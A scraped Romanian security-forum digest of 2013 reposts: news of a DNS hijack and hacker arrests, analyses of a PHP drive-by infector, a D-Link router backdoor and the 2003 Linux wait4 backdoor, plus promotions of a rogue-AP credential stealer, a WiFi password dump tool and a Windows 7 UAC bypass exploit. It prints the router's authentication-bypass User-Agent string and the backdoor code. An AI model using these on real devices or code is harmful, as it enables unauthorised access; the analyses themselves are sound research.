Nytro

[h=1]Kdms Team hackers hijack Rapid7 website using faxed DNS change request[/h] [h=2]“Hacking like it’s 1964”[/h] By John E Dunn | Techworld | Published: 17:01, 11 October 2013 A pro-Palestinian hacktivist group managed to briefly hijack the Metasploit website of security firm Rapid7 on Friday after faxing a DNS change request to its registrar, the firm’s chief research officer HD Moore has admitted. News of the attack emerged when newbie hackers ‘Kdms Team’ announced the takeover on Twitter with a series of brief messages concluding with a simple “Hello Rapid7.” The attack appears to have lasted for a period of nearly an hour before Rapid7’s Moore took to Twitter to reply. “I can confirm that the DNS settings were changed for a few minutes and pointed to 74.53.46.114,” he said. After ruefully admitting the attack had been “creative”, Moore said that it had occurred after a simple bogus fax request to its registrar, Register.com. “Hacking like its 1964,” Moore added, gamely. Earlier this week, the same Kdms Team burst on to the hacktivist scene with an identical and equally embarrassing attack and on several Internet firms, including security firms AVG, Avira and messaging firm WhatsApp. That attack pivoted around a more orthodox password change request to Network Solutions. Where the group got the DNS change idea from is no mystery. In late August the New York Times suffered a serious domain-redirection attack by the Syrian Electronic Army (SEA) that kept the site offline for several days. As with the New York Times, Rapid's Moore admitted the firm does not use domain locking to raise the level of authentication require for DNS change requests. “We sign binaries, publish checksums, and authenticate updates, so not a big deal, just annoying,” commented Moore. “When security companies can be hijacked, that's a good indicator of how fragile DNS is and what a single point of failure DNS providers have become,” commented Robert Hansen, technical evangelist at WhiteHat Security. “Hijacking session tokens, stealing usernames and passwords and redirecting email are just some of the things that become possible when DNS is hijacked,” he said. Sursa: Kdms Team hackers hijack Rapid7 website using faxed DNS change request - Techworld.com

[h=1]PHP Infector[/h] Posted on October 12, 2013 by darryl A reader wanted me to analyze a PHP file that was found on his hacked WordPress site. The script is made up of three parts as you can see. The top two sections contain an array of Base64-encoded strings. The bottom section references the arrays and performs the main functions. My first thought was to replace each of the array variables with the actual decoded strings. Then I could read the script at the bottom and figure out what it’s doing. But replacing each of the variable names with the values from the array manually would be a pain! (Anyone got a better idea? If so, let me know.) Whenever I come across a problem, I try to find a generic solution that I can keep using in the future. Here’s what I came up with… First I take each of the top two sections and separate the encoded values by rows. So I take this: And use search/replace to make it look like this: Then I modified Converter to base64-decode each row separately: Then I replaced each row with a pipe delimiter (since it wasn’t being used anywhere): I did the same for the second section: I wrote a program that does a search and replace of the array values. I entered the search string that corresponded to the top section and pasted in the decoded strings with the pipe delimiter to get the result. The second section was next. All done! This script probably won’t execute properly because some of the strings need to be quoted but at least you can get a much better idea of what’s going on. Basically this downloads a file from a website, gets the URL and visits it. It essentially serves up a drive-by link to unsuspecting visitors. The iframe link is the landing page of Sweet Orange. The link changes every couple of minutes or so. I’ll need to think about this more and see if there’s another generic solution. If not, I’ll add this method to Converter in the future. Sursa: PHP Infector | Kahu Security

[h=1]Rouge_AP v9 for Kali Linux[/h] my rouge ap that steals creds from https, running under kali linux. in this demo, my host is a laptop with 2 wireless adapters. one is connected to wifi accsess point and then using other wlan adapter for rouge connections. Get it here: https://app.box.com/s/iaij9vpf64f0r90...

Reverse Engineering a D-Link Backdoor By Craig | October 12, 2013 All right. It’s Saturday night, I have no date, a two-liter bottle of Shasta and my all-Rush mix-tape… . On a whim I downloaded firmware v1.13 for the DIR-100 revA. Binwalk quickly found and extracted a SquashFS file system, and soon I had the firmware’s web server (/bin/webs) loaded into IDA: Strings inside /bin/webs Based on the above strings listing, the /bin/webs binary is a modified version of thttpd which provides the administrative interface for the router. It appears to have been modified by Alphanetworks (a spin-off of D-Link). They were even thoughtful enough to prepend many of their custom function names with the string “alpha”: Alphanetworks’ custom functions The alpha_auth_check function sounds interesting! This function is called from a couple different locations, most notably from alpha_httpd_parse_request: Function call to alpha_auth_check We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request. Some further examination of the use of register $s2 prior to the alpha_auth_check call indicates that it is a pointer to a data structure which contains char* pointers to various pieces of the received HTTP request, such as HTTP headers and the requested URL: $s2 is a pointer to a data structure We can now define a function prototype for alpha_auth_check and begin to enumerate elements of the data structure: struct http_request_t{ char unknown[0xB8]; char *url; // At offset 0xB8 into the data structure }; int alpha_auth_check(struct http_request_t *request); alpha_auth_check itself is a fairly simple function. It does a few strstr’s and strcmp’s against some pointers in the http_request_t structure, then calls check_login, which actually does the authentication check. If the calls to any of the strstr’s / strcmp’s or check_login succeed, it returns 1; else, it redirects the browser to the login page and returns -1: alpha_auth_check code snippet Those strstr’s look interesting. They take the requested URL (at offset 0xB8 into the http_request_t data structure, as previously noted) and check to see if it contains the strings “graphic/” or “public/”. These are sub-directories under the device’s web directory, and if the requested URL contains one of those strings, then the request is allowed without authentication. It is the final strcmp however, which proves a bit more compelling: An interesting string comparison in alpha_auth_check This is performing a strcmp between the string pointer at offset 0xD0 inside the http_request_t structure and the string “xmlset_roodkcableoj28840ybtide”; if the strings match, the check_login function call is skipped and alpha_auth_check returns 1 (authentication OK). A quick Google for the “xmlset_roodkcableoj28840ybtide” string turns up only a single Russian forum post from a few years ago, which notes that this is an “interesting line” inside the /bin/webs binary. I’d have to agree. So what is this mystery string getting compared against? If we look back in the call tree, we see that the http_request_t structure pointer is passed around by a few functions: It turns out that the pointer at offset 0xD0 in the http_request_t structure is populated by the httpd_parse_request function: Checks for the User-Agent HTTP header Populates http_request_t + 0xD0 with a pointer to the User-Agent header string This code is effectively: if(strstr(header, "User-Agent:") != NULL){ http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t"); } Knowing that offset 0xD0 in http_request_t contains a pointer to the User-Agent header, we can now re-construct the alpha_auth_check function: #define AUTH_OK 1#define AUTH_FAIL -1 int alpha_auth_check(struct http_request_t *request) { if(strstr(request->url, "graphic/") || strstr(request->url, "public/") || strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0) { return AUTH_OK; } else { // These arguments are probably user/pass or session info if(check_login(request->0xC, request->0xE0) != 0) { return AUTH_OK; } } return AUTH_FAIL; } In other words, if your browser’s user agent string is “xmlset_roodkcableoj28840ybtide” (no quotes), you can access the web interface without any authentication and view/change the device settings (a DI-524UP is shown, as I don’t have a DIR-100 and the DI-524UP uses the same firmware): Accessing the admin page of a DI-524UP Based on the source code of the HTML pages and some Shodan search results, it can be reasonably concluded that the following D-Link devices are likely affected: DIR-100 DI-524 DI-524UP DI-604S DI-604UP DI-604+ TM-G5240 Additionally, several Planex routers also appear to use the same firmware: BRL-04UR BRL-04CW You stay classy, D-Link. Bookmark the permalink. Sursa: Reverse Engineering a D-Link Backdoor - /dev/ttyS0

[h=3]CreateRemoteThread vs. RtlCreateUserThread[/h]In this post i will shed the light on a slight difference between the "CreateRemoteThread" and "RtlCreateUserThread" functions. I will also show how this slight difference could affect your code, esp. if you are implementing an anti-attaching trick. The difference is in the way the CONTEXT structure is initialized for the new thread. Let's first take the "CreateRemoteThread" function in disassembly. On Windows XP SP3, at address 0x7C810550, We can see a call to the non-exported "_BaseInitializeContext@20" function which as its name implies sets initial values for registers of the CONTEXT structure. Here, we focus on only two registers, EIP and EAX which are set in the following manner: 1) The EIP register is set to the address of either "_BaseThreadStartThunk@8" or "_BaseProcessStartThunk@8" depending on the fifth parameter (in this case, the fifth parameter is set to TRUE and EIP is set to the address of "_BaseThreadStartThunk@8"). 2) The EAX register is set to the user-defined entry point (User-defined here means the value passed to the "CreateRemoteThread" function in the "lpStartAddress" parameter). Now the very first thing we conclude is that "BaseThreadStartThunk@8" later executes the user-defined entry point. Now let's take the "RtlCreateUserThread" function in disassembly and see how the CONTEXT structure for the new thread is initialized. As you can see in the image above, a different function, "RtlInitializeContext", is used for this task. Going into this function, we can see that it is as simple as setting : 1)The EAX register to zero. 2) The EIP register to the user-defined entry point. A question arises here!!. what is this useful for? If a thread tries to query its own entry point by calling the "ZwQueryInformationThread" function with the "ThreadInformationClass" parameter set to ThreadQuerySetWin32StartAddress, then the initial value of EAX is the value returned in the "ThreadInformation" parameter. In most cases, this is okay since almost all threads are created by the "CreateRemoteThread" function and hence the user-defined entry point is always returned. But threads created by the "RtlCreateUserThread" function (e.g. threads created by debuggers to attach to running processes) will not be able to query its own entry point using the "ZwQueryInformationThread" function, since the value returned in the "ThreadInformation" parameter will always be zero as the initial value for EAX was zero. Imagine a TLS callback running in the context of the attaching thread and trying to query the thread's entry point by calling the "ZwQueryInformationThread" function as part of detecting the debugger, the entry point returned will be zero since the initial value of EAX was zero. A good solution for this problem is using the "NtQuerySystemInformation" function with the "SystemInformationClass" parameter set to SystemProcessesAndThreadsInformation to get information about all current processes and threads, then locating the proper thread and its SYSTEM_THREAD_INFORMATION structure. Once the right structure is found, the thread entry point can easily be seen in the "StartAddress" member. The code showing how to use the "NtQuerySystemInformation" function to extract threads entry points can be found here. An example demonstrating how to use the "NtQuerySystemInformation" function as anti-attaching trick can be found here. N.B. This topic has been tested on Windows XP SP3. You can follow me on Twitter @waleedassar Sursa: waliedassar: CreateRemoteThread vs. RtlCreateUserThread

Cica e pentru siguranta noastra, ne apara de teroristi. Sclavii americanilor. Fortza Russia!

Da, acum vreo 3 ani am trimis si eu catre studentii din facultate, "de pe" mail-ul profesorului de la care toti erau nerabdatori sa afle raspunsuri. E util pentru caterinca.

Facultatea e necesara! Daca ai diploma de licenta (la o mare parte dintre facultati), practic, primesti cu 16% mai mult la salariu. Normal, nu inveti mare lucru acolo, materii de cacat, cele utile poate nu sunt predate bine... Dar daca iti place si vrei sa lucrezi in domeniu, puneti in pula mea mana si invatati singuri. Cand vine vorba de angajare, trebuie sa le si demonstrati angajatorilor ca stiti ceva. Cum faceti asta? Le aratati ce proiecte ati facut. Ai facut? Faceti. Sau faceti laba. E viitorul vostru, e alegerea voastra.

In niciun caz nu ar fi una in care sa iti dai datele reale: numere de telefon, poze cu tine (care de multe ori contin locatia GPS la care au fost facute), prietenii, locurile pe care le frecventezi... V-as sfatui sa faceti putin curat pe profilul vostru si sa stergeti cat mai multe lucruri personale.

In fine, tema e cumparata, e platita de kwe.

Am incercat 2 carti (random) de C++ si merg. Ai si poza si link direct de download. Care anume nu iti merge?

[h=5]Free e-books. 1.Linux http://www.efytimes.com/e1/fullnews.asp?edid=116902 Top 10 Most Wanted Linux Books 2.Assembly http://www.efytimes.com/e1/fullnews.asp?edid=117964 3.C 35 Free eBooks On C Programming 4.C++ http://www.efytimes.com/e1/fullnews.asp?edid=117660 5.C# http://www.efytimes.com/e1/fullnews.asp?edid=117598 6.Java http://www.efytimes.com/e1/fullnews.asp?edid=117834 7.Python http://www.efytimes.com/e1/fullnews.asp?edid=117094 8.Perl http://efytimes.com/e1/fullnews.asp?edid=117324 9.Ruby 22 Free eBooks On Ruby 10.Javascript http://www.efytimes.com/e1/fullnews.asp?edid=117236 11.JQuery http://www.efytimes.com/e1/fullnews.asp?edid=117488[/h]

Ctrl + F5. Doar la tine e.

Legat de problema cu butoanele, pune si tu un screenshot la pagina. Legat de tema? Copyright? Ha? La cate probleme a avut jegu asta de tema, nu le dau "copyright", le dau muie alora care au facut-o.

#ro0ted Attacking SIP/VoIP Servers by Faith Sursa: https://www.cyberguerrilla.org/blog/?p=15957

Paunch, the author of Blackhole Exploit kit arrested in Russia Wang Wei, The Hacker News - Monday, October 07, 2013 According to a Security Analyst ' Maarten Boone' working at Fox-IT company, the Developer of notorious Blackhole Exploit Kit developer 'Paunch' and his partners were arrested in Russia recently. Blackhole Exploit Kit which is responsible for the majority of web attacks today, is a crimeware that makes it simple for just about anyone to build a botnet. This Malware kit was developed by a hacker who uses the nickname “Paunch” and his Team, has gained wide adoption and is currently one of the most common exploit frameworks used for Web-based malware delivery. The Blackhole exploit kit is a framework for delivering exploits via compromised or third-party websites, serve up a range of old and new exploits for Oracle's Java, Adobe's Flash and other popular software to take control of victim's machines. It the point of writing No Police Authority or Press has confirmed the claim made by Maarten about the arrest of Malware author. Please Stay tuned to THN for updates about the Story. In April, 2013 - Russian hackers and developers behind the Carberp botnet, that stole millions from bank accounts worldwide were also arrested. Read more: Paunch, the author of Blackhole Exploit kit arrested in Russia - The Hacker News Sursa: Paunch, the author of Blackhole Exploit kit arrested in Russia - The Hacker News

[h=1]The Linux Backdoor Attempt of 2003[/h] October 9, 2013 By Ed Felten Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was really a backdoor inserted by the NSA. (He concluded that it probably was not.) Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This one was definitely an attempt to insert a backdoor. But we don’t know who it was that made the attempt—and we probably never will. Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. Every change to the master code would come with a short explanation, which always included a pointer to the record of its approval. But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. The CVS copy of the code was a direct clone of the primary BitKeeper copy. But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in (electronically) to the CVS server and inserted this change. What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; [Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.] A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0”. The normal thing to write in code like this is “== 0”, which tests whether the user ID of the currently running code (current->uid) is equal to zero, without modifying the user ID. But what actually appears is “= 0”, which has the effect of setting the user ID to zero. Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor. This is a very clever piece of work. It looks like innocuous error checking, but it’s really a back door. And it was slipped into the code outside the normal approval process, to avoid any possibility that the approval process would notice what was up. But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux. Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack. Unless somebody confesses, or a smoking-gun document turns up, we’ll never know. [Post edited (2013-10-09) to correct the spelling of Larry McVoy's name.] Sursa: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

[h=1]Anonymous no more: Twitter engineer, UConn security analyst among 13 indicted for 'Operation Payback'[/h][h=2]Not all the people named in the FBI indictment fit the hacker stereotype [/h] By Greg Sandoval on October 8, 2013 07:11 pm Some of the men indicted last week for allegedly taking part in the scores of denial-of-service attacks launched by hacktivist group Anonymous in 2010 don't fit the stereotype of a pajamas-wearing teen hacker causing havoc from mom's basement. For example, The Verge has learned that defendant Phillip Simpson is a 28-year-old IT professional who works for a test-preparation service. Anthony Tadros, 22, is a student at the University of Connecticut, who ironically once worked as a security analyst for the school, according to his LinkedIn profile. Geoffrey Commander is 65 years old. And then there's Ryan Gubele, a 27-year-old who is a former contract employee for Amazon. In June, Gubele began working as a site reliability engineer for Twitter — and is currently still employed there. It's in my best interest not to answer any questions. Last week, the US Department of Justice alleged in a 28-page indictment that Gubele and the other 12 defendants helped Anonymous, the hacktivist collective, disrupt or cause the collapse of web sites operated by Bank of America, MasterCard and multiple global antipiracy groups. Some of the companies were attacked for refusing to process donations made to WikiLeaks, the group that published leaked US diplomatic cables. Others came under fire for supporting antipiracy efforts. Anonymous dubbed the DDoS campaign Operation Payback. In the indictment, federal prosecutors allege that it was Gubele who aided Anonymous by tracking the effectiveness of the group's attacks on the Motion Picture Association of America, the trade group for the Hollywood studios. They also accuse him of illegally accessing computer systems of at least one of the targets during Operation Payback, which began in September 2010 and ended the following January. The indictment doesn't say whether Gubele played any role in the December 2010 attack on Amazon. According to Gubele's LinkedIn profile, he began working for the web retailer in August 2010 and departed the same month that Operation Payback concluded. Gubele and Simpson did not respond to interview requests. Twitter and Amazon declined to comment. Tadros, the security analyst, said in a text: "It's in my best interest not to answer any questions about my situation while the case is ongoing." Feds likely want to send a message US law enforcement has begun cracking down on computer crime and appears to be making an extra effort to track Anonymous members, who consider themselves activists for social change and come from all over the globe. During the past decade, the group has hacked or launched denial of service attacks against the Church of Scientology, numerous governments, Sony, the New York Stock Exchange, and sites hosting child porn. While numerous arrests have been made, the percentage of Anonymous members tried for computer offenses is believed to be a tiny fraction of the group’s potential members. Nonetheless, the US government likely wants to send a message. Sursa: Anonymous no more: Twitter engineer, UConn security analyst among 13 indicted for 'Operation Payback' | The Verge

Detecting Avast Antivirus Via Web Browsers Description: This is the method I use for detecting avast antivirus. You can use it with other anitviruses too, all what you need is to change the image path. If you tested that with other software/antivirus please post it in the comments below. This is the online demo of the method described: Test_Avast Sursa: Detecting Avast Antivirus Via Web Browsers Banal si eficient. O alta metoda ar fi ca pe un site sa se puna continut blocat, acel continut sa apara intr-un frame ascuns iar cu JS sa se verifice daca apare "content blocked" sau continutul original.

Derbycon 2013 - Pass-The-Hash 2: The Admin’S Revenge - Skip Duckwall, Chris Campbell Description: ome vulnerabilities just can’t be patched. Pass-The-Hash attacks against Windows enterprises are are still successful and are more popular than ever. Since the PTH-Suite was released at BlackHat last year, Microsoft published their guide for mitigating the attack. Skip and Chris will cover some of the short-comings in their strategies and offer practical ways to detect and potentially prevent hashes from being passed on your network. Learn how to stop an attacker’s lateral movement in your enterprise. Bio: “Chris Co-presented PTH talk last year at Blackhat Also spoke at BsidesLV, Derbycon, Shmoocon & BsidesPR www.obscuresec.com @obscuresec Works for Crucial Security (Harris Corp) Skip Co-presented PTH talk last year at Blackhat Also spoken at Defcon, derbycon passing-the-hash.blogspot.com @passingthehash on twitter Works for Accuvant Labs” For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Pass-The-Hash 2: The Admin’S Revenge - Skip Duckwall, Chris Campbell

WiFi Password Dump [TABLE=align: left] [TR] [TD=class: page_subheader]About [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 100%] [TR] [TD=width: 120, align: center] [/TD] [TD=align: justify]WiFi Password Dump is the free command-line tool to quickly recover all the Wireless account passwords stored on your system. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify] It automatically recovers all type of Wireless Keys/Passwords (WEP/WPA/WPA2 etc) stored by Windows Wireless Configuration Manager. For each recovered WiFi account, it displays following information [/TD] [/TR] [TR] [TD] WiFi Name (SSID) Security Settings (WEP-64/WEP-128/WPA2/AES/TKIP) Password Type Password in Hex format Password in clear text [/TD] [/TR] [TR] [TD=align: justify] Being command-line tool makes it useful for penetration testers and forensic investigators. For GUI version check out the Wi-Fi Password Decryptor. It works on both 32-bit & 64-bit platforms starting from Windows Vista to Windows 8. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader] WiFi Password Secrets[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Depending on the platform, 'Wireless Configuration Manager' uses different techniques and storage locations to securely store the WiFi settings. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]On Vista and higher systems all the wireless parameters including SSID, Authentication method & encrypted Password are stored at following file, [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_code]C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\{Random-GUID}.xml [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify] Here each wireless device is represented by its interface GUID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} and all the wireless settings for this device are stored in XML file with random GUID name.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD]If you are interested to know how these WiFi settings are stored and how 'WiFi Password Decyptor' actually recovers the passwords, read on to our research article,[/TD] [/TR] [TR] [TD]Exposing the WiFi Password Secrets[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader] How to use?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]WiFi Password Dump is very easy to use tool. It is command-line/console based tool, hence you have to launch it from the command prompt (cmd.exe) as Administrator. Here is the simple usage information Launch command-prompt (cmd.exe) on your system as Administrator. In the cmd prompt move to directory where you have installed or copied WiFiPasswordDump tool Now run the tool by just typing WiFiPasswordDump.exe It will automatically discover and display all the recovered Wireless passwords as shown in screenshot below. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD]Screenshot 1: 'WiFiPasswordDump' showing all the recovered Wireless Passwords from Windows 7 system.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 1.0: 8th Oct 2013[/TD] [/TR] [TR] [TD]First public release of WiFi Password Dump.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader] Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download WiFi Password Dump v1.0 License : Freeware Platform : Windows Vista, Windows 2008, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD] Sursa: WiFi Password Dump : Free Command-line Tool to Recover Wireless Passwords [/TD] [/TR] [/TABLE]

[h=1]PhysicsJS (Yes, a JavaScript Physics engine)[/h] In today's Web Wednesday post we're highlighting something you might think a little oxymoronic, a JavaScript Physics engine. It's still in an Alpha status, but even so, it's looking pretty cool... [h=2]PhysicsJS[/h] A modular, extendable, and easy-to-use physics engine for javascript PhysicsJS is still under development (alpha version 0.5.1), and documentation is unfinished. Feel free to use it, just be warned that the API is in flux and better documentation is on its way! (Contributors and help needed!) [h=4]Features[/h] Use as an AMD Module (requireJS), or global namespace. Modular! Only load what you need. The core library is only 31k minified. Extendable! Don’t like the collision detection algorithm? Replace it with your own! Not tied to a specific renderer. Display it in DOM, HTML5 Canvas, or whatever… Easy! It’s a library written IN javascript… not C compiled into javascript. The syntax is familiar for javascript developers. Extensions to support points, circles, and arbitrary convex polygons. Extensions to support constant gravity, newtonian gravity, collisions, and verlet constraints. The fastest way to get a feel for what's possible is by checking out the Demos. [h=2]Demos[/h] There's even documentation already too. [h=2]https://github.com/wellcaffeinated/PhysicsJS/wiki[/h] Introductory documentation can be found on the PhysicsJS website. The wiki contains more advanced usage instructions. Due to the newness of this library, documentation is non-exhaustive. If there are any points of confusion, please feel free to log an issue or contact me. You can also edit the wiki yourself to fill in the gaps. Any help with documenting is appreciated. [h=4]Topics[/h] Fundamentals Scratchpads - they speed up computations Bodies PubSub Behaviors Collisions Integrators Renderers And the source is officially available too; [h=2]https://github.com/wellcaffeinated/PhysicsJS[/h] Sursa: PhysicsJS (Yes, a JavaScript Physics engine) | Coding4Fun Blog | Channel 9

[h=1]C++ and the Windows Runtime[/h] Date: September 6, 2013 from 9:00AM to 9:35AM Day 3 Speakers: Aleš Hole?ek [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, Windows Phone, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) [h=3]File size[/h] 36.6 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 216.9 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 171.4 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 475.8 MB Mid Quality MP4 (Windows Phone, HTML5) [h=3]File size[/h] 332.3 MB High Quality WMV (PC, Xbox, MCE) In this talk, Ales discusses the evolution of the Windows platform and the story of its development, and the key role that C++ plays in it. In the spirit of "Going Native", the new platform and application model is written almost exclusively in C++. Sursa: C++ and the Windows Runtime | GoingNative 2013 | Channel 9

Windows 7 UAC whitelist: Code-injection Issue (and more) Quick Windows 7 RTM update: Everything below still applies to the final retail release of Windows 7 (and all updates as of 14/Sep/2011). Quick Windows 8 update: Everything below still applies to the Windows 8 Developer Preview released on 13/Sep/2011. It is early days, of course, but from a quick look it does not seem that anything UAC-related has changed at all in Win8. Contents: Win 7 UAC Code-Injection: Program & source-code Win 7 UAC Code-Injection: Video demonstrations Some Quotes Win 7 UAC Code-Injection: Summary Win 7 UAC Code-Injection: The good news Win 7 UAC Code-Injection: How it works UAC in Vista and Windows 7: Mistakes then and now (Better ways MS could've responded to complaints about Vista.) UAC Comparison: Two file-managers If a whitelist makes sense then it must be user-configurable Previous Windows 7 UAC issues To those saying, "but it requires code to get on the box" To those saying, "but UAC isn't a security boundary" To those saying, "but it's only a beta" Quick response to a couple of newer things Program, Source Code and Step-by-Step Guide While Windows 7 was still in beta Microsoft said this was a non-issue, and ignored my offers to give them full details for several months. so there can't be an issue with making everything public now. Win7ElevateV2.zip (32-bit and 64-bit binaries; use the version for your OS.) Win7ElevateV2_Source.zip (C++ source code, and detailed guide to how it works.) Source in HTML format (for browsing online) Step-by-step guide (description of what the code does) This works against the RTM (retail) and RC1 versions of Windows 7. It probably won't work with the old beta build 7000 due to changes in which apps can auto-elevate. Microsoft could block the binaries via Windows Defender (update: they now do via MSE), or plug the CRYPTBASE.DLL hole, but unless they fix the underlying code-injection / COM-elevation problem the file copy stuff will still work. Fixing only the CRYPTBASE.DLL part, or blocking a particular EXE or DLL, just means someone has to find a slightly different way to take advantage of the file copy part. Finding the CRYPTBASE.DLL method took about 10 minutes so I'd be surprised if finding an alternative took long. Even if the hole is fixed, UAC in Windows 7 will remain unfair on third-party code and inflexible for users who wish to use third-party admin tools. Sursa: Windows 7 UAC whitelist: Code-injection Issue (and more)

[h=1]Linux SNMP MIB Browser[/h] An SNMP MIB browser is an indispensable tool for engineers and system administrators to manage SNMP enabled network devices such as routers, switches, servers and workstations. The information provided by SNMP includes uptime, interface traffic data, routing information, TCP and UDP connection information, installed software, and much more. In this tutorial, I introduce qtmib, an easy-to-use SNMP browser available for Linux and published under GPLv2 license. The program is build as a front-end for net-snmp tools using QT4 library. qtmib browser window qtmib features qtmib offers a number of powerful features: SNMP v1 and v2c support. OID translation. MIB search capabilities. A huge number of built-in MIBs. Support for adding private MIBs. Network discovery. Easy-to-read reports: system, interfaces, routing table, TCP/UDP connections, running process, and installed software, Installation Installation follows the regular ./configure && make && sudo make install Unix pattern. You would need net-snmp tools and QT4 development libraries as dependencies. An Ubuntu .deb package is also provided. Screenshot tour qtmib host selection qtmib network discovery qtmib report selection Sursa: Linux SNMP MIB Browser | l3net - a layer 3 networking blog